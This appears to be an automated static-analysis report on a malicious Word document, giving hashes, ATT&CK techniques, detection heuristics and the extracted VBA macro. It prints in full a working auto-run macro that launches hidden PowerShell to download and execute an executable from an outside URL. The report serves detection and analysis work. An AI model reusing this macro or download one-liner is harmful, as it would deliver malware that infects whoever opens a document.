Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 abb77c6769dba7bc…

MALICIOUS

Office (OOXML)

15.2 KB Created: 2017-04-25 08:08:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-08-25
MD5: 160baafac0318fce301e96e5d143f378 SHA-1: fae9082b80777205e82515d2b37b7ab17d452c6e SHA-256: abb77c6769dba7bc8c31e3b143ee9d3011077fd953ca90eae598cd73c9eaa394
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro constructs and executes a PowerShell command that downloads a file from 'https://anyfile.255bits.com/wix/download?id=ba399ea30bdf40e37ebca3e8d6b8fd4b' to '%APPDATA%\amfilohije.exe' and then executes it. This indicates a downloader or dropper functionality.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=ba399ea30bdf40e37ebca3e8d6b8fd4b','%APPDATA%\amfilohije.exe');Start-Process '%APPDATA%\amfilohije.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://anyfile.255bits.com/wix/download?id=ba399ea30bdf40e37ebca3e8d6b8fd4b In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 961 bytes
SHA-256: 6fe5ee2e78bfc8f28ecde46c17ecba4e244689c2757cd638768457e06d18fbda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://anyfile.255bits.com/wix/download?id=ba399ea30bdf40e37ebca3e8d6b8fd4b','%APPDATA%\amfilohije.exe');Start-Process '%APPDATA%\amfilohije.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
End Sub
Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 221789e237b056d641b4ee94b984940e8d5a4f0d76a3a7d7fadab03e882f8a3f

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